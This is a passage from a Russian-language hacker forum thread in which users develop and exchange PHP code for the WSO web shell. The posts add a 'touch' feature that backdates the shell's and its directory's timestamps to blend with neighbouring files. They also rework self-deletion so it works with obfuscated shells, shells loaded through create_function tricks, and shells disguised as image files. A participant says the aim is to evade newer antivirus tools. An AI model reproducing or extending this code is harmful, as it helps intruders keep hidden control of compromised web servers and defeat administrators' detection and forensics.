Старый 07.11.2014, 18:37   #201
omen666
 
Регистрация: 05.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

вобщем, удалил строки, которые отвечают за диалог Really want to touch the shell?, оно не в тему! Это ж не удаление шелла все-таки.

[скачать]

Как сделать самому?

ln 262
PHP код:
...
$m['Self touch'] = 'SelfTouch';
... 
ln 1043
PHP код:
...
function 
actionSelfTouch() {
    
wsoHeader();
    
$all_f wsoScandir($GLOBALS['cwd']);    
    unset(
$all_f[array_search(basename(__FILE__),$all_f)]);
    echo 
'<h1>Touch like</h1><div class=content>';
    echo 
'<form name=f_touch method=post>';
    echo 
'<pre><label><input type=checkbox name=tparent id=tparent><span style="margin-left: 3px;">Touch shell\'s directory</span></label></pre>';
    echo 
"<pre><input onclick=\"g('SelfTouch',null,f_touch.timestamp.value,document.getElementById('tparent').checked)\" type=button value='Touch!'></pre>";
    if(
$_POST['p1']) {
        if(@
touch(__FILE__$_POST['p1'], $_POST['p1'])) {
            echo(
'<p>Shell has been touched</p>');
            if(
$_POST['p2'] == 'true') {
                @
touch(dirname(__FILE__), $_POST['p1'], $_POST['p1']);
                echo(
'<p>Shell\'s directory has been touched</p>');                
            }
        }
        else {
            echo 
'<h1>Touch</h1><div class=content>Touch error!</div>';
        }
    }
    foreach (
$all_f as $some_f) {    
        
$some_f_t filectime($some_f);
        echo 
"<pre><label><input type=radio name='timestamp' value='$some_f_t'> " '<b>' $some_f '</b>' ' - ' date("F d Y H:i:s.",filectime($some_f)) . "</label></pre>";
    }
    echo 
'</form>';
    echo 
'</div>';    
    
wsoFooter();
}
... 

Последний раз редактировалось omen666; 08.11.2014 в 07:56..
omen666 вне форума   Ответить с цитированием
Старый 08.11.2014, 06:38   #202
devv
 
Регистрация: 08.10.2012
Сообщений: 27
Репутация: -4
По умолчанию

omen666 touch не работает в твоих примерах, в параметре p1 ничего не передаётся
devv вне форума   Ответить с цитированием
Старый 08.11.2014, 06:50   #203
omen666
 
Регистрация: 05.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

Цитата:
Сообщение от devv Посмотреть сообщение
omen666 touch не работает в твоих примерах, в параметре p1 ничего не передаётся
Смотрите на рисунки, все работает, проверено на реальном сервере.

[скачать]

Сделано:
1. FilesMan юзает filemtime, а я в SelfTouch юзал fileсtime. Исправлено на filemtime, так как даты не совпадали.
2. Cортировка файлов по дате.
3. Сортировка файлов по названию.
4. Исправлена ошибка, когда текущий рабочий каталог другой.
5. Добавлено my_print_r для отладки.
6. Функцию wsoCmp, чтоб она срабатывала до вызова функции где она определена, вынесено в глобальную область видимости.
7. Добавлена возможность тачить только каталог шелла.
8. Filename(Optional) upload.
9. Вывод времени модификации шелла и эго каталога с полными путями.
10. Really want to touch the shell? убрано как в предыдущем посте.
11. Вывод даты в формате Y-m-d H:i:s.
12. Добавил clearstatcache.
13. Сообщения о таче выводяться в самом вверху.
14. Мелкий рефакторинг.
15. По умолчанию сортировка по дате возростания.

ln 1037
PHP код:
...
function 
actionSelfTouch() {
    global 
$sort
    
wsoHeader();    
    echo 
'<h1>Touch like</h1><div class=content>';
    if(
$_POST['p1']) {
        if (
$_POST['p2'] != 'onlyshelld') {
            if(@
touch(__FILE__$_POST['p1'], $_POST['p1'])) {
                echo 
'<p>Shell has been touched</p>';
                if(
$_POST['p2'] == 'shelld') {
                    if (@
touch(dirname(__FILE__), $_POST['p1'], $_POST['p1']))
                        echo(
'<p>Shell\'s directory has been touched</p>');
                    else 
                        echo 
'<p>Touch shell\'s directory error!</p>';
                }     
            } else {
                echo 
'<p>Touch shell error!</p>';
            } 
        } elseif (
$_POST['p2'] == 'onlyshelld') {
            if (@
touch(dirname(__FILE__), $_POST['p1'], $_POST['p1']))
                echo(
'<p>Shell\'s directory has been touched</p>');
            else 
                echo 
'<p>Touch shell\'s directory error!</p>';
        }
    }
    
clearstatcache();
    
$all_f wsoScandir($GLOBALS['cwd']);
    
$k_main array_search(basename(__FILE__), $all_f);
    
$k_main_d array_search('.'$all_f);
    unset(
$all_f[$k_main]);
    unset(
$all_f[$k_main_d]);
    unset(
$all_f[array_search('nbproject'$all_f)]);
    echo 
"<pre><b>Current timestamp</b></pre>";
    echo 
'<pre><b>Shell <span>' __FILE__ '</span></b>' ' - ' date("Y-m-d H:i:s"filemtime(__FILE__)) . "</pre>";
    echo 
'<pre><b>Shell\'s directory <span>' dirname(__FILE__) . '</span></b>' ' - ' date("Y-m-d H:i:s"filemtime(dirname(__FILE__))) . "</pre>";
    echo 
'<form name=f_touch method=post>';
    echo 
'<pre><label><input type=radio name=tparent value=shelld><span style="margin-left: 3px;">Also touch shell\'s directory</span></label></pre>';
    echo 
'<pre><label><input type=radio name=tparent value=onlyshelld><span style="margin-left: 3px;">Touch only shell\'s directory</span></label></pre>';
    echo 
"<pre><input type=button value='Touch!' onclick=\"g('SelfTouch',null, f_touch.timestamp.value, f_touch.tparent.value);\"></pre>";    
    
$sort = array('date'1);
    if(!empty(
$_POST['p3'])) {
        if(
preg_match('!s_([A-z]+)_(\d{1})!'$_POST['p3'], $match))
        
$sort = array($match[1], (int)$match[2]);
    }
    
$b_sort = ($sort[1] ? 1);
    echo 
"<pre><a href='#' onclick=\"g('SelfTouch',null,null,null,'s_name_$b_sort')\">sort files by name</a></pre>";
    echo 
"<pre><a href='#' onclick=\"g('SelfTouch',null,null,null,'s_date_$b_sort')\">sort files by date</a></pre>";    
    if (
$sort[0] == 'name') {
        
usort($all_f"wsoCmp");
        foreach (
$all_f as $some_f) {
            
$some_f_t filemtime($some_f);
            echo 
"<pre><label><input type=radio name=timestamp value=$some_f_t> " '<b>' $some_f '</b>' ' - ' date("Y-m-d H:i:s"$some_f_t) . "</label></pre>";
        }
    }
    if (
$sort[0] == 'date') {
        foreach (
$all_f as $some_f) {
            
$all_f_d[$some_f] = filemtime($some_f);
        }
        
$sort[1] ? asort($all_f_d) : arsort($all_f_d);
        foreach (
$all_f_d as $some_f_k => $some_f_v) {
            echo 
"<pre><label><input type=radio name=timestamp value=$some_f_v> " '<b>' $some_f_k '</b>' ' - ' date("Y-m-d H:i:s"$some_f_v) . "</label></pre>";
        }
    }    
    echo 
'</form>';
    echo 
'</div>';
    
wsoFooter();
}

function 
wsoCmp($a$b) {
    if(
$GLOBALS['sort'][0] != 'size')
        return 
strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
    else
        return ((
$a['size'] < $b['size']) ? -1)*($GLOBALS['sort'][1]?1:-1);
}

function 
my_print_r($data) {
    echo 
"<pre>";
    
print_r($data);
    echo 
"</pre>";
}
... 

Вынесено с ln 673 в глобальную область, так как неззя вызвать эту функцию, если родитель не вызывался, она тогда просто как необъявленная, а нужно было заюзать)
PHP код:
...
function 
wsoCmp($a$b) {
        if(
$GLOBALS['sort'][0] != 'size')
            return 
strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
        else
            return ((
$a['size'] < $b['size']) ? -1)*($GLOBALS['sort'][1]?1:-1);
    }
... 












Обкатываем и постим ошибки )))

Последний раз редактировалось omen666; 08.11.2014 в 08:20..
omen666 вне форума   Ответить с цитированием
Старый 08.11.2014, 07:45   #204
omen666
 
Регистрация: 05.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

Цитата:
Сообщение от devv Посмотреть сообщение
omen666 touch не работает в твоих примерах, в параметре p1 ничего не передаётся
Все работает )







omen666 вне форума   Ответить с цитированием
Старый 08.11.2014, 10:27   #205
omen666
 
Регистрация: 05.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

Предлагаю в шелле заменить __FILE__ на $_SERVER['SCRIPT_FILENAME'], так как:

1. В подключаемых файлах шелл сам себя не удаляет.
Цитата:
Если используется внутри подключаемого файла, то возвращается имя данного файла.
2. Не у всех конструкция и функциях без использования eval() шелл себя нормально чувствует.

сделал замену:
[скачать]

Последний раз редактировалось omen666; 08.11.2014 в 11:16..
omen666 вне форума   Ответить с цитированием
Старый 10.11.2014, 10:51   #206
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Цитата:
Сообщение от omen666 Посмотреть сообщение
Предлагаю в шелле заменить __FILE__ на $_SERVER['SCRIPT_FILENAME'], так как:

1. В подключаемых файлах шелл сам себя не удаляет.

2. Не у всех конструкция и функциях без использования eval() шелл себя нормально чувствует.

сделал замену:
[скачать]
Зачем вместо файла с шеллом удалять инклуд?
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 10.11.2014, 14:16   #207
omen666
 
Регистрация: 05.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

Цитата:
Сообщение от oRb Посмотреть сообщение
Зачем вместо файла с шеллом удалять инклуд?
Привет oRb!

Значит, я пыхтел 3 часа в поисках обяснений.

Вот что лично меня заставило это сделать.
PHP код:
<?php

create_function
("","};".'echo __FILE__;'."//");  

?>
E:\servers\OpenServer4_8_5vuln\domains\localhost\1 .php(3) : runtime-created function

Как видно при выводе "волшебной" константы ошибка.

Я думаю это далеко непоследний случай.

Цитата:
Зачем вместо файла с шеллом удалять инклуд?
Угу, к сожалению да. Удаляет инклуд, хм... Но и у меня был еще 1 случай когда не удаляло, но я его к сожаление не смог воспроизвести локально, возможно особенности сервера, пхп хз.

Насколько я помню, юзал обфусцированный шелл, сжатый в 19 кб =), который сам себя распаковывал и выполнял.

Поэтому предлагаю найти достойную альтернативу __FILE__.

Это даст возможность хекерам шаманить с Вашим шеллом, все-таки появляются новые антивиры и т.д.

Последний раз редактировалось omen666; 11.11.2014 в 01:07..
omen666 вне форума   Ответить с цитированием
Старый 10.11.2014, 18:06   #208
omen666
 
Регистрация: 05.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

хз что за ошибка), решить можно вот так

PHP код:
<?php

//create_function("","};".'echo __FILE__;'."//"); 

create_function("","};".'echo preg_replace("|\(\d+\)[\s]+:[\s]+runtime-created function\$|","",__FILE__);'."//"); 

?>
ln 1595
PHP код:
...$GLOBALS['shellname'] = preg_replace("|\(\d+\)[\s]+:[\s]+runtime-created function\$|","",__FILE__);... 
Везде __FILE__ заменить на $GLOBALS['shellname'].

Теперь и в create_function() норм работает, и в инклудах.

[скачать]

Последний раз редактировалось omen666; 10.11.2014 в 19:21..
omen666 вне форума   Ответить с цитированием
Старый 11.11.2014, 10:50   #209
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Я что-то не понимаю смысл ваших телодвижений.
Константа __FILE__ у меня в коде используется 1 раз. И там где используется, проблема с дополнительной инфой в пути уже давно решена:
PHP код:
        if(@unlink(preg_replace('!\(\d+\)\s.*!'''__FILE__)))
            die(
'Shell has been removed'); 
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 11.11.2014, 12:42   #210
omen666
 
Регистрация: 05.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

Цитата:
Сообщение от oRb Посмотреть сообщение
Я что-то не понимаю смысл ваших телодвижений.
Константа __FILE__ у меня в коде используется 1 раз. И там где используется, проблема с дополнительной инфой в пути уже давно решена:
PHP код:
        if(@unlink(preg_replace('!\(\d+\)\s.*!'''__FILE__)))
            die(
'Shell has been removed'); 
хз), но если шелл называться будет file(2) ABC.php или bluesea(2) we 2016.jpg и т.д, то уже точно себя не удалит. Интересно, что когда bluesea(2)[ ][ ]we 2016.jpg, то также не удалит(имеется ввиду несколько пробелов), так как метасимвол точка соответствует также непечатаемому символу, кроме "\n". В обшем как-то не универсально, не знаю. Получается, что нельзя сделать типо копию файла шелл, который, например, был уместный в папке с рисунками где много копий.



Так как веб-сервер обрабатывает файлы все-равно по расширению, то может вот так слелать?
PHP код:
create_function("","};"."\$f=pathinfo(__FILE__);echo \$f['filename'].'.'.preg_replace('!\(\d+\)\s.*!', '', \$f['extension']);"."//"); 
В функции удаления еще не выводится шапка(видно на рисунке!), когда шелл не удален, можно wsoHeader(); наверх переместить. И вся функция может выглядеть как-то так.
PHP код:
function actionSelfRemove() {    
    if(
$_POST['p1'] == 'yes') {
        
$f=pathinfo(__FILE__);
        
$f=$f['filename'].'.'.preg_replace('!\(\d+\)\s.*!'''$f['extension']);    
        if(@
unlink($f))
            die(
'Shell has been removed');
        else {
            
wsoHeader();
            echo 
'unlink error!';
        }
    }
    if(
$_POST['p1'] != 'yes') { 
        
wsoHeader();
        echo 
'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    }
    
wsoFooter();

Когда шелл удален, то вывести die('удален').
Когда не удален, то вывести хедер, сообщение, футер.
Когда нажать на Self remote, то вывести хедер, диалог, футер.

Последний раз редактировалось omen666; 11.11.2014 в 14:37..
omen666 вне форума   Ответить с цитированием
Ответ

Метки
shell, wso, wso2

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot